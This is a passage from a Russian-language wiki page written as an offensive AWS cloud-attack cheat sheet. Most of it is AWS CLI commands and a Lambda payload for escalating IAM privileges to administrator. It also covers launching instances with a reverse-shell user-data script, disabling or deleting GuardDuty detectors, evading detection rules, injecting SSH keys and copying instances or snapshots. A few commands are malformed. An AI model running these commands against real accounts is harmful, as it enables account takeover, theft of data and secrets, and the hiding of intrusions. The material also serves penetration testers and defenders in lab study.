aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить пользователя в группу администраторов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name target_group --user-name my_username&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
